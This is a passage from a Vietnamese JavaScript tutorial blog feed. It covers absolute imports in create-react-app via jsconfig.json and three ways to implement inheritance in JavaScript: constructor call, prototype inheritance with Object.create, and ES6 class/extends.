đề khi dùng đường dẫn tương đối permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vấn đề khi dùng đường dẫn tương đối</h2> <p>Khi xây dựng ứng dụng React, bạn thường phải <strong>import các components hay modules với cấu trúc thư mục nhiều tầng lớp lồng nhau</strong>, ví dụ:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 83.03030303030303%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAIAAABSJhvpAAAACXBIWXMAAAsTAAALEwEAmpwYAAABIUlEQVQ4y5WSzWrDMBCE/Qgt9JxCLFm2VpJl638lk6SFYHop5NB7+/4PUVLSu7R812FnZ6dLbzssXgBY670PSipCKKVDDZ2/fMAa5DQ6a5d5lgC07wdCauhOOR7j9fX6Tfafp3B7jreX/FVJt5UyrUjspk+7ef+UZT+odFBYQ7dtmxQAE8Fgo3Nm0Yz2Q3+soTPGcOCCL5hOxphjTyhllXTWWrgPTzEiImNjZdT3tP/EggsRYgghDoy1ikEoyKUoqfq77Uax4lByTikxNjaU5H+zTJjXZe0JIaTxZq1HxIgpO+dldUMfYiEmzCkm1HqpD/xhW2uxlc37QAhtvtlZnrGkhM77cZoabHOA1S3n87mUomY9tJaEcTWreVbzODa86heIIaglfaqvCgAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="cấu trúc project react" title="cấu trúc project react" src="/static/aa9bc3ff0883524fde560c9bc3373e59/7c811/absolute-import-cra-folder-structure.png" srcset="/static/aa9bc3ff0883524fde560c9bc3373e59/103f2/absolute-import-cra-folder-structure.png 165w, /static/aa9bc3ff0883524fde560c9bc3373e59/748ba/absolute-import-cra-folder-structure.png 330w, /static/aa9bc3ff0883524fde560c9bc3373e59/7c811/absolute-import-cra-folder-structure.png 660w, /static/aa9bc3ff0883524fde560c9bc3373e59/98085/absolute-import-cra-folder-structure.png 762w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Trong file <code>Header.js</code>, code sẽ giống như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">Header.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> logo <span class="token keyword">from</span> <span class="token string">"../images/logo.svg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> ExternalLink <span class="token keyword">from</span> <span class="token string">"../components/ExternalLink"</span><span class="token punctuation">;</span></code></pre></div> <p>Để viết các câu lệnh import trên, bạn <strong>cần phải nhớ được cấu trúc thư mục</strong> để trỏ được đến đúng đường dẫn các file.</p> <p>Dĩ nhiên, ví dụ trên khá đơn giản nên đường dẫn đến file còn ngắn gọn. Nếu <strong>cấu trúc thư mục phức tạp hơn</strong> thì chắc chắn các câu lệnh import sẽ <strong>dài dòng hơn rất nhiều</strong>.</p> <p>Hơn nữa, giả sử bạn muốn <strong>thay đổi cấu trúc thư mục của modules</strong>. Ví dụ bạn tạo thêm một thư mục <code>header</code> chứa <code>Header.js</code>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 73.93939393939394%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABEklEQVQoz5XRyW7DIBCAYZ6lNssww2IMmM1OLu2t7/86VZNDjiHSf0L6NDCw9vNL+QKQlLw9NhM952ImCcDS9a33poTY9+icJyLOxbryty3Lyq6zx7DH3Pr97n00Jvgtej9RSKz34X1AtDmVMa6cCigEoLcpQHa/3ZxznIt4HKkeirREmLk254KFfUcyoJRNBsuG0YHFmYUprVmMkYgkYKolHEkouX6tUwsX8h8jGtLi7EcI6XE69VV8Fc/JBhS02lofxtjne2Z6YDSgobSS0yHm2AsjGkOi9zTGVWqNMQkhpyeTAS1LSa2NEPZJ+cJEMPqorVnriMxHmLYNWuvndcs5A+jPMFhfazvP0zu/LOsk/gO0jpO7CNaXEwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="cấu trúc project react 2" title="cấu trúc project react 2" src="/static/565cce21e79a99dcaa4dd9494993c97c/7c811/absolute-import-cra-folder-structure-2.png" srcset="/static/565cce21e79a99dcaa4dd9494993c97c/103f2/absolute-import-cra-folder-structure-2.png 165w, /static/565cce21e79a99dcaa4dd9494993c97c/748ba/absolute-import-cra-folder-structure-2.png 330w, /static/565cce21e79a99dcaa4dd9494993c97c/7c811/absolute-import-cra-folder-structure-2.png 660w, /static/565cce21e79a99dcaa4dd9494993c97c/277d6/absolute-import-cra-folder-structure-2.png 715w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Khi đó, bạn phải sửa lại toàn bộ các câu lệnh import trên như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">Header.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> logo <span class="token keyword">from</span> <span class="token string">"../../images/logo.svg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> ExternalLink <span class="token keyword">from</span> <span class="token string">"../../components/ExternalLink"</span><span class="token punctuation">;</span></code></pre></div> <p>Việc này <strong>khá phiền và mất thời gian</strong>.</p> <p>Đó chính là lý do, bạn nên sử dụng cách <strong>absolute import</strong> mà mình giới thiệu sau đây.</p> <h2 id="về-absolute-import" style="position:relative;"><a href="#v%E1%BB%81-absolute-import" aria-label="về absolute import permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Về absolute import</h2> <p>Khi dùng absolute import thì các câu lệnh import components và modules sẽ như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">Header.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span> logo <span class="token keyword">from</span> <span class="token string">"images/logo.svg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> ExternalLink <span class="token keyword">from</span> <span class="token string">"components/ExternalLink"</span><span class="token punctuation">;</span></code></pre></div> <p>Khi đó, việc bạn thêm thư mục <code>header</code> chứa file <code>Header.js</code> như trên cũng không ảnh hưởng đến các câu lệnh import.</p> <h2 id="absolute-import-với-create-react-app" style="position:relative;"><a href="#absolute-import-v%E1%BB%9Bi-create-react-app" aria-label="absolute import với create react app permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Absolute import với create-react-app</h2> <p>Thông thường để sử dụng absolute import với React, bạn cần cấu hình trong webpack.</p> <p>Tuy nhiên, với create-react-app (từ version <a href="https://github.com/facebook/create-react-app/releases/tag/v3.0.0">3.0.0</a>) bạn chỉ cần thêm file <code>jsconfig.json</code> từ root project với cấu hình như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">jsconfig.json</div> <div class="gatsby-highlight" data-language="json"><pre class="language-json"><code class="language-json"><span class="token punctuation">{</span> <span class="token property">"compilerOptions"</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token property">"baseUrl"</span><span class="token operator">:</span> <span class="token string">"src"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token property">"include"</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token string">"src"</span><span class="token punctuation">]</span> <span class="token punctuation">}</span></code></pre></div> <p>Nếu bạn sử dụng <strong>TypeScript</strong>, bạn cũng cấu hình <code>baseUrl</code> tương tự trong file <code>tsconfig.json</code>.</p> <blockquote> <p><strong>Chú ý</strong>: Hiện tại, create-react-app chỉ hỗ trợ cấu hình <code>baseUrl</code> là thư mục <code>node_modules</code> hoặc thư mục <code>src</code>.</p> </blockquote> <p>Sau đây là ví dụ demo sử dụng absolute import trong create-react-app với <code>jsconfig.json</code>:</p> <p><a href="https://github.com/completejavascript/cra-alias-demo" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Demo create-react-app aliases </a></p> <p>Nếu bạn có vấn đề gì thắc mắc cần giải đáp, vui lòng để lại bình luận xuống phía dưới nhé!</p>[email protected]<![CDATA[Các cách kế thừa cơ bản trong JavaScript]]><![CDATA[Việc kế thừa trong lập trình là cần thiết nếu bạn muốn giảm lượng code phải viết và quản lý dễ dàng hơn. Vậy triển khai kế thừa trong JavaScript như thế nào? Sau đây, mình sẽ giới…]]>https://completejavascript.com/ke-thua-co-ban-trong-javascript/https://completejavascript.com/ke-thua-co-ban-trong-javascript/<![CDATA[Câu hỏi JS OOP]]>Fri, 14 Jan 2022 08:00:00 GMT<p>Việc kế thừa trong lập trình là cần thiết nếu bạn muốn giảm lượng code phải viết và quản lý dễ dàng hơn. Vậy triển khai <a href="/cac-khia-canh-lap-trinh-huong-doi-tuong-trong-javascript/">kế thừa trong JavaScript</a> như thế nào?</p> <p>Sau đây, mình sẽ giới thiệu với bạn các cách triển khai kế thừa cơ bản trong JavaScript.</p> <h2 id="kế-thừa-cơ-bản-trong-javascript" style="position:relative;"><a href="#k%E1%BA%BF-th%E1%BB%ABa-c%C6%A1-b%E1%BA%A3n-trong-javascript" aria-label="kế thừa cơ bản trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kế thừa cơ bản trong JavaScript</h2> <p>Mời bạn xem ví dụ sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Animal</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">=</span> <span class="token string">"Animal"</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">sayType</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"type: "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token class-name">Animal</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">sayName</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"name: "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">Dog</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>super_ <span class="token operator">=</span> Animal<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">super_</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">=</span> <span class="token string">"Dog"</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">shout</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"shout: "</span> <span class="token operator">+</span> <span class="token string">"Go Go Go !!!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> myDog <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Dog</span><span class="token punctuation">(</span><span class="token string">"Rex"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> myDog<span class="token punctuation">.</span><span class="token function">shout</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// shout: Go Go Go !!!</span> myDog<span class="token punctuation">.</span><span class="token function">sayType</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// type: Dog</span> myDog<span class="token punctuation">.</span><span class="token function">sayName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// TypeError: myDog.sayName is not a function</span></code></pre></div> <p>Lớp cha <code>Animal</code> có một thuộc tính <code>type</code>, phương thức <code>sayType</code> và một phương thức <code>sayName</code> được định nghĩa thêm trong prototype của <code>Animal</code>.</p> <p>Lớp con <code>Dog</code> kế thừa lớp cha <code>Animal</code>, trong đó:</p> <ul> <li>Gán <code>this.super_ = Animal</code> để hiểu rằng lớp cha của <code>Dog</code> là <code>Animal</code>.</li> <li>Gọi ra hàm khởi tạo của lớp cha ứng với đối tượng <code>this</code> là <code>Dog</code> (nếu bạn vẫn chưa biết ý nghĩa của hàm <code>call</code> thì có thể đọc bài viết <a href="/phan-biet-call-apply-va-bind-trong-javascript/">phân biệt call, apply và bind trong JavaScript</a>).</li> <li>Tiếp theo là ghi đè thuộc tính <code>type</code> của lớp cha <code>this.type = "Dog"</code> và định nghĩa thêm một phương thức khác là <code>shout</code>.</li> </ul> <p>Để test thử, mình tạo mới một <a href="/object-la-gi-object-trong-javascript/">object</a> <code>myDog</code> kiểu <code>Dog</code>. Sau đó, mình gọi các phương thức của <code>Dog</code> và các phương thức của lớp cha <code>Animal</code>.</p> <p>Bạn thấy rằng việc gọi ra phương thức <code>shout()</code> và <code>sayType()</code> đã thành công. Tuy nhiên, phương thức <code>sayName()</code> thì bị lỗi:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">TypeError: myDog.sayName is not a function</code></pre></div> <p>Điều đó nghĩa là lớp con <code>Dog</code> mới chỉ kế thừa các thuộc tính của lớp cha mà chưa kế thừa các phương thức trong <strong>prototype</strong>.</p> <p>Để kế thừa được prototype, mời bạn chuyển đến phần tiếp theo.</p> <h2 id="kế-thừa-prototype" style="position:relative;"><a href="#k%E1%BA%BF-th%E1%BB%ABa-prototype" aria-label="kế thừa prototype permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kế thừa Prototype</h2> <p>Để kế thừa được prototype, mình đã sửa lại đoạn code phía trên như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Animal</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">=</span> <span class="token string">"Animal"</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">sayType</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"type: "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token class-name">Animal</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">sayName</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"name: "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">Dog</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>super_ <span class="token operator">=</span> Animal<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">super_</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">=</span> <span class="token string">"Dog"</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">shout</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"shout: "</span> <span class="token operator">+</span> <span class="token string">"Go Go Go !!!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token function">inherits</span><span class="token punctuation">(</span>Dog<span class="token punctuation">,</span> Animal<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token function">inherits</span><span class="token punctuation">(</span><span class="token parameter">child<span class="token punctuation">,</span> parent</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> child<span class="token punctuation">.</span>prototype <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span>parent<span class="token punctuation">.</span>prototype<span class="token punctuation">,</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">constructor</span><span class="token operator">:</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">value</span><span class="token operator">:</span> child<span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">enumerable</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">writable</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">configurable</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span> <span class="token keyword">let</span> myDog <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Dog</span><span class="token punctuation">(</span><span class="token string">"Rex"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> myDog<span class="token punctuation">.</span><span class="token function">shout</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// shout: Go Go Go !!!</span> myDog<span class="token punctuation">.</span><span class="token function">sayType</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// type: Dog</span> myDog<span class="token punctuation">.</span><span class="token function">sayName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// name: Rex</span></code></pre></div> <p>Trong đoạn code trên, mình định nghĩa một <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> là <code>inherits</code>, với hai tham số đầu vào là <code>child</code> và <code>parent</code> - lần lượt là 2 hàm khởi tạo của lớp con và lớp cha. Ở đây, <code>child</code> là <code>Dog</code> và <code>parent</code> là <code>Animal</code>.</p> <p>Hàm này có nhiệm vụ là tạo ra một đối tượng mới từ <strong>prototype của lớp cha</strong> và gán cho <strong>prototype của lớp con</strong>.</p> <p>Nhờ đó, các đối tượng thuộc lớp con có thể truy cập đến các phương thức trong prototype của lớp cha, ví dụ: <strong>sayName</strong>.</p> <p>Tuy nhiên, cách viết này vẫn rất dài dòng. Và cách thứ 3 sau đây sẽ ngắn gọn hơn nữa.</p> <h2 id="kế-thừa-với-từ-khóa-class-extends-trong-es6" style="position:relative;"><a href="#k%E1%BA%BF-th%E1%BB%ABa-v%E1%BB%9Bi-t%E1%BB%AB-kh%C3%B3a-class-extends-trong-es6" aria-label="kế thừa với từ khóa class extends trong es6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kế thừa với từ khóa class, extends trong ES6</h2> <p>JavaScript ES6 cung cấp từ khóa <code>class</code> với <code>extends</code> cho phép triển khai kế thừa prototype một cách ngắn gọn.</p> <p>Tuy nhiên, bạn nhớ rằng đây chỉ là <strong>một cách viết khác</strong>. Thực chất, cách này vẫn chỉ là kế thừa prototype mà thôi.</p> <p>Áp dụng <code>class</code> và <code>extends</code> cho ví dụ trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">=</span> <span class="token string">"Animal"</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sayType</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"type: "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>type<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sayName</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"name: "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">class</span> <span class="token class-name">Dog</span> <span class="token keyword">extends</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>type <span class="token operator">=</span> <span class="token string">"Dog"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">shout</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"shout: "</span> <span class="token operator">+</span> <span class="token string">"Go Go Go !!!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> myDog <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Dog</span><span class="token punctuation">(</span><span class="token string">"Rex"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> myDog<span class="token punctuation">.</span><span class="token function">shout</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// shout: Go Go Go !!!</span> myDog<span class="token punctuation">.</span><span class="token function">sayType</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// type: Dog</span> myDog<span class="token punctuation">.</span><span class="token function">sayName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// name: Rex</span></code></pre></div> <p>Rõ ràng, kết quả vẫn không đổi mà <strong>cách viết ngắn gọn và trực quan hơn rất nhiều</strong>. Đó chính là lợi ích rất lớn của việc sử dụng ES6 so với ES5.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là 3 cách kế 